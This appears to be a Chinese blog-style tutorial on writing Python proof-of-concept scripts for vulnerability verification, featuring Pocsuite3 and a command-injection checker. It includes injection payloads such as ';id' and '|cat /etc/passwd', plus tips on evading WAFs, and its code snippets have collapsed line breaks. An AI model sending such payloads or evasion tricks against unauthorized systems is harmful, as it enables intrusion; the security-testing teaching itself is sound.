用python编写poc的流程

目录

一、POC 编写核心流程

二、常用 Python 库与工具

三、POC 框架推荐

四、高级优化技巧

五、安全规范与注意事项

六、实战案例：命令注入漏洞验证

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一、POC 编写核心流程

1. 漏洞分析

   • 确定漏洞类型：根据目标特征判断漏洞类型（如 SQL 注入、命令注入、文件上传等）。

   • 触发条件验证：通过手动测试（如 Burp Suite 抓包）确认漏洞触发点，例如构造|whoami参数触发命令注入。

2. 脚本设计

   • 选择验证逻辑：

     • 响应特征检测：通过状态码、页面内容（如DEBUG = True或特定报错信息）判断漏洞存在性。

     • 行为验证：例如通过时间延迟（SLEEP(5)）检测 SQL 盲注。

   • 模块化设计：将目标获取、请求发送、结果解析分离，提升代码复用性。

3. 代码实现

   import requests
   ​
   def check_rce(target):payload = "/api?input=|whoami"try:response = requests.get(target + payload, timeout=5)if "root" in response.text:return True, "存在命令注入漏洞"except Exception as e:passreturn False, "漏洞不存在"

   • 关键库:requests（HTTP 请求）re（正则匹配）lxml（HTML 解析）

   • 多线程优化：使用threading或concurrent.futures加速批量扫描。

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二、常用 Python 库与工具

库/工具	用途	代码示例
requests	发送 HTTP 请求，支持代理和超时设置	requests.get(url, headers=headers)
BeautifulSoup	解析 HTML 响应内容	soup.find_all('script')
socket	实现端口扫描或低级协议交互	socket.connect((ip, port))
pocsuite3	集成化漏洞验证框架，支持报告生成	继承 POCBase 类实现 _verify()
Scapy	构造自定义网络数据包（如 ARP 欺骗检测）	send(IP(dst=target)/ICMP())

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三、POC 框架推荐

1. Pocsuite3

   • 特点：支持多线程、批量扫描，与 Seebug 漏洞平台集成。

   • 开发模板：

     from pocsuite3.api import POCBase
     ​
     class TestPOC(POCBase):def _verify(self):if self.check_response('漏洞特征'):return self.parse_output({'存在漏洞': True})

2. ARL-NPoC

   • 场景：专为资产灯塔（ARL）设计，支持插件化漏洞验证。

   • 代码结构：

     from xing.core.BasePlugin import BasePlugin
     ​
     class Plugin(BasePlugin):def verify(self, target):if "Django DEBUG" in response.text:self.logger.success("漏洞存在")

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四、高级优化技巧

1. 规避防护机制

   • 请求伪装：随机 User-Agent（fake_useragent库）、IP 轮换（代理池）。

   • Payload 编码：使用 Base64、URL 编码绕过 WAF 检测。

2. 性能调优

   • 异步 IO：采用aiohttp+asyncio实现高并发请求。

   • 结果持久化：将漏洞结果写入 JSON 或数据库（如 SQLite）。

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五、安全规范与注意事项

1. 合法性

   授权测试：仅对授权目标进行漏洞验证，避免法律风险。

   非破坏性验证：禁止执行rm -rf或数据篡改操作。

2. 漏洞披露

   负责任的披露：通过 CVE、CNVD 等平台提交漏洞，避免公开细节。

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六、实战案例：命令注入漏洞验证

漏洞背景：某 Web 应用未过滤用户输入，导致可通过参数注入系统命令。 POC 实现：

import requests
​
def check_command_injection(url):payloads = [";id", "|cat /etc/passwd", "$(ls /)"]for cmd in payloads:try:response = requests.get(f"{url}?query={cmd}", timeout=3)if "uid=" in response.text:return True, f"注入成功：{cmd}"except:continuereturn False, "未检测到漏洞"

检测逻辑：依次发送恶意命令，根据响应内容判断命令执行结果。